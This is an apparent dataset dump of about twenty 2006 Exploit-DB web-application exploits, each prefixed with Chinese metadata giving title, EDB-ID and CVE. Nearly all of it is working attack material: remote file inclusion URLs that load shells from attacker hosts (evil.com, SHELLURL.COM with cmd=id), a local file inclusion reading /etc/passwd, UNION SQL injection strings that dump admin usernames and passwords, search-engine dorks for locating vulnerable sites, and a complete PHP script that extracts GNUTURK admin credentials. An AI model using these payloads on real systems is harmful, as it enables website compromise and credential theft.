QLWD/code_shield huggingface dataset:
标题: UNAK-CMS 1.5 - 'dirroot' Remote File Inclusion EDB-ID: 2380 CVE: 2006-4890 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-16 漏洞利用脚本: #==============================================================================================
#UNAK-CMS <= v1.5 (dirroot) Remote File Inclusion Exploit
#===============================================================================================
#                                                                      
#Critical Level : Dangerous                                            
#                                                                      
#Venedor site : http://www.unak.net      
#                                                                      
#Version : v1.5                                            
#                                                        
#================================================================================================
#
#Dork : "Powered by UNAK-CMS"
#
#================================================================================================
#Bug in : fckeditor/editor/dialog/fck_link.php
#
#Vlu Code :
#--------------------------------
#      <?php //UNAK-CMS adaptation atanas@unak.net
#       error_reporting(E_ERROR | E_WARNING | E_PARSE);
#       $cf["unak"]["root"]=$_GET["dirroot"];
#       $u_a=$_GET["u_a"];
#       $sl=$_GET["sl"];
#       $u_url=str_replace("http://","",$_GET["u_url"]);
#       $u_url=str_replace("https://","",$u_url);
#       include($cf["unak"]["root"]."/cfg/config.php");
#       include($cf["unak"]["root"]."/engine/sessions.php");
#       $sid=$_GET["sid"];
#       is_valid();
#       ?>
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php?Dirroot=http://SHELLURL.COM?&cmd=id
#http://sitename.com/[Script Path]/fckeditor/editor/dialog/fck_link.php?dirroot=http://SHELLURL.COM?&cmd=id
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
# Special Thx To : Str0ke & simoo & XoRoN & Saudi Hackerz
==================================================================================================

# milw0rm.com [2006-09-16] URL: https://www.exploit-db.com/exploits/2380
标题: Q-Shop 3.5 - 'browse.asp' SQL Injection EDB-ID: 2384 CVE: 2006-4852 类型: WEBAPPS 平台: ASP 发布日期: 2006-09-17 漏洞利用脚本: Vulnerability Report
*******************************************************************************
# Title  :  Q-Shop v3.5(browse.asp) Remote SQL Injection Vulnerability

# Author :   ajann

# Script Page : http://quadcomm.com

# Exploit;

*******************************************************************************

###http://[target]/[path]/browse.asp?cat=42&ManuID=&OrderBy=[SQL HERE]

Example:
browse.asp?cat=42&ManuID=&OrderBy=1%20union%20select%200,mail,0,pwd,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20users

# ajann,Turkey
# ...

# milw0rm.com [2006-09-17] URL: https://www.exploit-db.com/exploits/2384
标题: Techno Dreams Articles & Papers 2.0 - SQL Injection EDB-ID: 2386 CVE: 2006-4891 类型: WEBAPPS 平台: ASP 发布日期: 2006-09-17 漏洞利用脚本: *******************************************************************************
# Title  :  Articles&Papers Package <=v2.0(ArticlesTableview.asp) Remote SQL Injection Vulnerability

# Author :   ajann

# Script Page : http://www.t-dreams.com

# Exploit;

*******************************************************************************

###http://[target]/[path]/ArticlesTableview.asp?key='[SQL HERE]

Example:
ArticlesTableview.asp?key=-1%20union%20select%200,0,0,0,userpassword,username,0,0,0,0,0,0,0,0%20from%20articlesusers%20where%20userid=18

Pls UserID Change(1,2,3,4,5.....)

# ajann,Turkey
# ...
# Im not [Turkish]Hacker!

# milw0rm.com [2006-09-17] URL: https://www.exploit-db.com/exploits/2386
标题: MobilePublisherPHP 1.5 RC2 - Remote File Inclusion EDB-ID: 2383 CVE: 2006-4849 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-17 漏洞利用脚本: MobilePublisherPHP 1.5 RC2 (functions.php)Remote Include Vulnerability

##################################################################

Discovered by: Timq
http://www.securitydb.org

Team-Rootshell
##################################################################

Email: timq[at]hackernetwork[dot]com

http://www.securitydb.org

Team-Rootshell
##################################################################

Vulnerable: require $abspath."/functions.php";

###################################################################

Exploit PoC:

http://site.com/[dir]/header.php?abspath=http://site.com/shell.php?


####################################################################

Shoutz: Warpboy,Z66,Gammarays,Archangel,Cm2,Splinter,InTel,Preddy,Ice,ErazerZ,Maggot
PunKerX,Pepin,Ender


#####################################################################

# milw0rm.com [2006-09-17] URL: https://www.exploit-db.com/exploits/2383
标题: Techno Dreams FAQ Manager 1.0 - SQL Injection EDB-ID: 2385 CVE: 2006-4892 类型: WEBAPPS 平台: ASP 发布日期: 2006-09-17 漏洞利用脚本: *******************************************************************************
# Title  :  Techno Dreams FAQ Manager Package v1.0(faqview.asp) Remote SQL Injection Vulnerability

# Author :   ajann

# Dork :   faqview.asp?key

# Script Page : http://www.t-dreams.com

# Exploit;

*******************************************************************************

###http://[target]/[path]/faqview.asp?key=[SQL HERE]

Example:

//faqview.asp?key=-1%20union%20select%200,0,username,password,0%20from%20admin
//faqview.asp?key=-1%20union%20select%200,0,0,username,password,0%20from%20admin

With admin username and password take it,after join to login page:
../[path]/admin/

# ajann,Turkey
# ...
# Im not Hacker!

# milw0rm.com [2006-09-17] URL: https://www.exploit-db.com/exploits/2385
标题: aeDating 4.1 - dir[inc] Remote File Inclusion EDB-ID: 2377 CVE: 2006-4870 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-16 漏洞利用脚本: AEDating (all versions) Remote File inclusion.

Vulnerable code:

/inc/design.inc.php
/inc/admin_design.inc.php

require_once( "$dir[inc]db.inc.php" );
require_once( "$dir[inc]prof.inc.php" );

Exploit:
http://site.com/[script_path]/inc/design.inc.php?dir[inc]=http://evil.com/shell.txt?
http://site.com/[script_path]/inc/admin_design.inc.php?dir[inc]=http://evil.com/shell.txt ?

Video:
http://rapidshare.de/files/33316468/AEDating_SQL.rar.html
http://www.megaupload.com/?d=O1W4DX97

# milw0rm.com [2006-09-16] URL: https://www.exploit-db.com/exploits/2377
标题: Mambo Component com_registration_detailed 4.1 - Remote File Inclusion EDB-ID: 2379 CVE: 2006-5254 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-16 漏洞利用脚本: ########################################################################
    # Mambo com_registration_detailed <= 4.1 Remote File Inclusion
    #  
    # Download Source  : http://mamboxchange.com/projects/regdetailed/
    # Dork =  allinur:com_extended_registration
    #
    # Found By: k1tk4t - k1tk4t[d0t]h4ck[4t]gmail[d0t]com
    # Location: Indonesia

    ########################################################################
    file ;
    registration_detailed.inc.php
    ########################################################################
    bugs ;
    [at]line 25

    include_once("$mosConfig_absolute_path/components/com_extended_registration/language/$_REGISTER_DETAILS_LANGUAGE.inc.php");
    #########################################################################
    example exploit ;
    http://victim.xxx/ components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_path=http://phpshell/c99.txt?
    ########################################################################
    Thanks;
    str0ke
    milw0rm
    google
     #e-c-h-o (all member echo community)

     #nyubi (all member solpotcrew community)
    --> ghoz, home_edition2001, iFX, and for all (friend's&enemy) 

# milw0rm.com [2006-09-16] URL: https://www.exploit-db.com/exploits/2379
标题: BolinOS 4.5.5 - 'gBRootPath' Remote File Inclusion EDB-ID: 2372 CVE: 2006-4850 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-15 漏洞利用脚本: =-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-=
+
+BolinOS v.4.5.5 <= (gBRootPath) Remote File Include Vulnerability
+
=-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-=
+
+Author: xoron (turkish hacker)
+
=-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-=
+
+Class : Remote
+
=-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-=
+
+Vuln Code: include ($GLOBALS["gBRootPath"].$GLOBALS["gBSysPath"]."/system/_b/contentFiles/gBLib.php");
+
=-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-=
+
+Exploit: http://www.site.com/[script path]/system/_b/contentFiles/gBIndex.php?gBRootPath=evil_scripts?
+
=-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-=
+ Thanx : str0ke, Ironfist, Preddy, SHiKaA, mdx, gültekin, R3D4C!D, DaRK, insomnia, mirim, Dreamlord,
=-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-=

# milw0rm.com [2006-09-15] URL: https://www.exploit-db.com/exploits/2372
标题: Newsscript 0.5 - Local/Remote File Inclusion EDB-ID: 2365 CVE: 2006-4766 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-13 漏洞利用脚本: #  Product : Newsscript

#  Homepage : http://www.webmaster-journal.com

#  Version : 0.5

#  Date : 12-09-2006

#  Vulnerability : Remote & local File Inclusion

#  Risk : High

---------------------------------------------------------------------------------------------------------


#  Description :

Newsscript is a PHP script to manage news items on website without Database.


#  Vulnerable Code :

The first issue is due to an input validation error in the "print/print.php" script that does not validate the "ide" parameter, which could be exploited by remote attackers to include local files with the privileges of the web server.

1    <html>
2    <head>
3    <?
4 $file_name = "../".$ide.".txt";
5    ?>


27    include($file_name);


The second flaw is due to an input validation error in the "article.php" script that does not validate the "ide" parameter, which could be exploited by attackers to include remote or local files and execute arbitrary commands with privileges of the web server.

1 <?
2 include($ide.".txt");
3 ?>


#  Exploit :

http://localhost/newscript/print/print.php?ide=../../../../etc/passwd%00

http://localhost/newscript/article.php?ide=http://site.com/script.txt ?


#  Solution :

Update to a newer version


#  Discovered By:

Daftrix[at]Gmail.com
Daftrix Security Investigations
http://www.Daftrix.com

# milw0rm.com [2006-09-13] URL: https://www.exploit-db.com/exploits/2365
标题: Haberx 1.02 < 1.1 - 'tr' SQL Injection EDB-ID: 2371 CVE: 2006-4853 类型: WEBAPPS 平台: ASP 发布日期: 2006-09-15 漏洞利用脚本: +++++++++++++++++++++++++++++++++++++++++++++++++++
+ Haberx v1.1 (tr) SQL Injection Vulnerability    +
+ Author  : Fix TR                                +
+ Site    : www.hack.gen.tr                       +
+ Contact : fixtr[at]bsdmail.com                  +
+++++++++++++++++++++++++++++++++++++++++++++++++++

+ Download: http://www.aspindir.com/Goster/3983
+ Versions: 1.02 between 1.1
+ Bug In  : kategorix.asp
+ Risk    : High


+ Admin Nick:
http://[target]/[path]/kategorihaberx.asp?id=13+union+select+1,uyex_adi,1+from+uyex+where+uyex_id=1

+ Admin Password: (Big Letters)
http://[target]/[path]/kategorihaberx.asp?id=13+union+select+1,uyex_sifre,1+from+uyex+where+uyex_id=1

# milw0rm.com [2006-09-15] URL: https://www.exploit-db.com/exploits/2371
标题: phpQuiz 0.1 - 'pagename' Remote File Inclusion EDB-ID: 2366 CVE: 2006-4834 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-14 漏洞利用脚本: #############################SolpotCrew Community################################
#
#  phpQuiz v0.01 design and coding byJule Slootbeek (pagename) Remote File Inclusion
#
#  Download file : http://www.furor-normannicus.de/phpQuiz/download/phpQuiz.zip
#
#################################################################################
#
#
#       Bug Found By :Solpot a.k.a (k. Hasibuan) (14-09-2006)
#
#       contact: chris_hasibuan@yahoo.com
#
#       Website : http://www.nyubicrew.org/adv/solpot-adv-07.txt
#
################################################################################
#
#
#      Greetz: choi , h4ntu , Ibnusina , r4dja , No-profile , begu , madkid
#              robby , Matdhule , setiawan , m3lky , NpR , Fungky , barbarosa
#              home_edition2001 , Rendy , cow_1seng , ^^KaBRuTz , bYu , Lappet-homo
#              Blue|spy , cah|gemblung , Slacky , blind_boy , camagenta , XdikaX
#              x-ace , Dalmet , th3sn0wbr4in , iFX , ^YoGa^ ,#nyubi , #hitamputih @dalnet
#              and all member solpotcrew community @ http://www.nyubicrew.org/forum/
#              especially thx to str0ke @ milw0rm.com
#
###############################################################################
Input passed to the "pagename" is not properly verified 
before being used to include files. This can be exploited to execute 
arbitrary PHP code by including files from local or external resources. 
code from index.php
<?php
 //include global variables.
 include('global.inc.php');
 if (empty($pagename)) $pagename=main_menu;
 require ("$pagename.php");
?>
exploit : http://somehost/path_to_phpQuiz/index.php?pagename=http://evil
##############################MY LOVE JUST FOR U RIE######################### 
######################################E.O.F################################## 

# milw0rm.com [2006-09-14] URL: https://www.exploit-db.com/exploits/2366
标题: TeamCal Pro 2.8.001 - 'app_root' Remote File Inclusion EDB-ID: 2368 CVE: 2006-4845 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-14 漏洞利用脚本: #########################################################################
#Author:PSYCH@  psych0path@hackermail.com
#
#                                                            
#########################################################################
#TeamCal Pro 2.8.001 (app_root) Remote file inclusion Vulnerabilities
#Demo: www.lewe.com/tcpro/
#
#########################################################################
#Code:
#
#include( $tc_config['app_root']."includes/footer.html.inc.php" );
#
#########################################################################
#Exploit
#
#http://site.com/path/includes/footer.html.inc.php?tc_config[app_root]=shell.txt?
#
#Example:www.teamcounter.com/tcpro/includes/footer.html.inc.php?tc_config[app_root]=shell.txt?
#
#########################################################################
#Thnx:Warhack & mAfiAcarLEs & DarkXBoyZ
#
#
#########################################################################

# milw0rm.com [2006-09-14] URL: https://www.exploit-db.com/exploits/2368
标题: PhotoPost 4.6 - 'PP_PATH' Remote File Inclusion EDB-ID: 2369 CVE: 2006-4828 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-15 漏洞利用脚本: #====================================================================
#PhotoPost => 4.6 (PP_PATH) Remote File Inclusion Exploit
#====================================================================
#
#Critical Level : Dangerous
#
#By Saudi Hackrz
#
#http://www.popphoto.com/
#
#=================================================================
#
#Script Name: PhotoPost 4.6 & 4.5 & 4.x.....4.0
#Fix : update To 4.7 or 4.8
#Script :)
#http://www.9q9q.net/up3/index.php?f=UyTfHCHIg
#
#=================================================================
#Bug in : zipndownload.php
#        require "$PP_PATH/languages/$pplang/showgallery.php";
#        require "$PP_PATH/login-inc.php";
#
#in <<<<  zipndownload.php & .... :)
#Dork :in Yahoo ---: "Powered by: PhotoPost PHP 4.6" or "Powered by: PhotoPost PHP 4.5"
#=================================================================
#
#Exploit :
#--------------------------------
#
#http://site.com/[path]/zipndownload.php?PP_PATH=http://SHELLURL.COM?
#
#=================================I LOVE SAUDI
ARABIA=============================================
#Discoverd By : Saudi Hackrz
#
#Conatact : Saudi.unix[at]hotmail.com
#
#GreetZ :SnIpEr_Sa , King18 , LeCoPrA And All My Frind
#www.S3hr.com , http://www.elite-team.cc/vb , www.3asfh.net  ,www.xp10.com ,www.lezr.com
==================================I LOVE SAUDI ARABIA=============================================#

# milw0rm.com [2006-09-15] URL: https://www.exploit-db.com/exploits/2369
标题: Mambo Component com_serverstat 0.4.4 - Remote File Inclusion EDB-ID: 2367 CVE: 2006-4858 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-14 漏洞利用脚本: =-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-=
+
+Mambo com_serverstat Component <=0.4.4 Remote File Include Vulnerability
+
=-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-=
+
+Author: xoron (turkish hacker)
+
=-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-=
+
+Class : Remote
+
=-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-=
+
+Vuln Code: require_once($mosConfig_absolute_path."/administrator/components/com_serverstat/config.serverstat.php");
+
=-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-=
+
+Exploit: administrator/components/com_serverstat/install.serverstat.php?mosConfig_absolute_path=http://evil_scripts?
+
=-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-=
+
Thanx : str0ke, Ironfist, Preddy, SHiKaA
+
=-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-=

# milw0rm.com [2006-09-14] URL: https://www.exploit-db.com/exploits/2367
标题: GNUTURK 2G - 't_id' SQL Injection EDB-ID: 2378 CVE: 2006-4867 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-16 漏洞利用脚本: <?
/*
------------------------------------------------------------------------------------------------------------
--------Gnu turk all versions simple get admin uname & pass without hash blind sql injection exploit---------------
                             -------------Powered by p2y ---------------
                    ---------------Use it at ur own RisK :P :D ----------------------
------------------------------------------------------------------------------------------------------------




p2y@p2y:~/Desktop/projects$ php gnuturk.php 127.0.0.1 /portals/gnuturk/ 1

--------------------------------
Powered by p2y
Admin username : p2y
Admin password : sanane
N0w go 2 http://127.0.0.1/portals/gnuturk/admin/ and login with this inf0rmation
Cuz n0where is Secure En0ugh ...
--------------------------------


*/
//simple get admin username && pass exploit by p2y
error_reporting(0);
$site=$argv[1];
$path=$argv[2];
$id=$argv[3];

if($site && $path && $id)
{
if(!ereg("http",$site)) $site="http://".$site;

$sql="mods.php?go=Forum&p=vtop&t_id=-2%20Union/**/Select/**/1,2,username,password,5,6,7,8,9/**/From/**/gtp_admins/**/WHERE/**/id=$id/*";
$url=$site.$path.$sql;

$html=file_get_contents($url);
$tmp=explode("/*>",$html);
$rtmp=explode("</a>",$tmp[1]);
$a_username=$rtmp[0];



$tmp=explode('<td class="forum_msg" valign="top">',$html);
$rtmp=explode("</td>",$tmp[1]);
$a_pass=$rtmp[0];
 

echo "--------------------------------\n";
echo "Powered by p2y\n";
echo "Admin username : $a_username\n";
echo "Admin password : $a_pass\n";
echo "N0w go 2 $site$path"."admin/ and login with this inf0rmation\n";
echo "Cuz n0where is Secure En0ugh ...\n";
echo "--------------------------------\n";



}
else
{

echo "--------------------------------\n";
echo "Powered by p2y\n";
echo "Enter host path admin id\n";
echo "usage = php p2y.php 127.0.0.1 /gnu/ 1\n";
echo "Cuz n0where is Secure En0ugh ...\n";
echo "--------------------------------\n";


}

?>

# milw0rm.com [2006-09-16] URL: https://www.exploit-db.com/exploits/2378
标题: Shadowed Portal 5.599 - 'root' Remote File Inclusion EDB-ID: 2361 CVE: 2006-4885 2006-4826 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-13 漏洞利用脚本: ====================== C Y B E R - W A R R I O R  T I M 
======================

+Shadowed Portal 5.599 (root) Remote File Include Vulnerability

==============================================================================

+Author: mad_hacker (turkish hacker)

==============================================================================

+Class: Remote

==============================================================================

+Vuln Code: require($root."/footer.php");

==============================================================================,

+Exploit: 
http://www.site.com/[script_path]/bottom.php?root=http://evil_scripts?

==============================================================================

+Thanx: xoron, Leak

====================== C Y B E R - W A R R I O R  T I M 
======================

# milw0rm.com [2006-09-13] URL: https://www.exploit-db.com/exploits/2361
标题: Downstat 1.8 - 'art' Remote File Inclusion EDB-ID: 2359 CVE: 2006-4827 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-13 漏洞利用脚本: DESCRIPTION: Remote file include vuln found by sZ [sept, 8 2006.]
SOFTWARE: downstat 1.8
VENDOR URL: http://vmist.net/index.php?script=Downstat
DORKs:
"Login To Downstat 1.8"
allinurl:"/downstat/"
 

NOTES: greetz to: neo-vortex, sk0tie, icez. visit @ irc.bluehell.org #silenz
 

VULN CODE:
------
admin.php:
 
if(!@include($art."in_php.php")) exit("upload ".$art."in_php.php");
 
------
chart.php:
 
if(!@include($art."downstat_art/in_html.php")){ exit("upload ".$art."in_html.php"); }
------
modes.php
 
if(!@include($art."downstat_art/in_html.php")){ exit("upload ".$art."in_html.php"); }  
-----
stats.php
 
if(!@include($art."downstat_art/in_html.php")){ exit("upload ".$art."in_html.php"); }
----
 

EXAMPLE:
http://site.com/downstat1.8/chart.php?art=http://silenz.be/shell.txt?

# milw0rm.com [2006-09-13] URL: https://www.exploit-db.com/exploits/2359
标题: KnowledgeBuilder 2.2 - 'visEdit_root' Remote File Inclusion EDB-ID: 2364 CVE: 2006-5919 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-13 漏洞利用脚本: +--------------------------------------------------------------------
+
+  KnowledgeBuilder.v2.2.PHP.NULL-WDYL  Remote File Inclusion
+
+-------------------------------------------------------------------
+
+ Version ...........: KnowledgeBuilder.v2.2.PHP.NULL-WDYL
+ cms download ......: http://warez.gtasoft.ru/skripts/KnowledgeBuilder.v2.2.PHP.NULL-WDYL.zip
+ Class .............: Remote File Inclusion
+ Found by ..........: igi
+ Contact ...........: hamidreza@mineduc.gov.rw
+
+--------------------------------------------------------------------
+--------------------------------------------------------------------

+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
<?php
// ================================================
// Main control class
// ================================================

include $visEdit_root.'config/visEdit_control.config.php';
include $visEdit_root.'class/toolbars.class.php';
include $visEdit_root.'class/lang.class.php';
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

----------------------------------------------------------------------------
------
http://www.victom.com/admin/e_data/visEdit_control.class.php?visEdit_root=http://yourevil.com/r0x.dat.txt?cmd
----------------------------------------------------------------------------
--------

# milw0rm.com [2006-09-13] URL: https://www.exploit-db.com/exploits/2364
标题: Vitrax Pre-modded 1.0.6-r3 - Remote File Inclusion EDB-ID: 2353 CVE: 2006-4779 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-12 漏洞利用脚本: credits: CeNGiZ-HaN
contact: cengiz-han@system-defacers.org
team: www.system-defacers.org
risk: High
script: vitrax premodded phpbb
script site: www.vitrax.org

Exploit:

http://[target]/[path]/includes/functions_portal.php?phpbb_root_path=phpshell.txt?


GreeTz  No One =)

# milw0rm.com [2006-09-12] URL: https://www.exploit-db.com/exploits/2353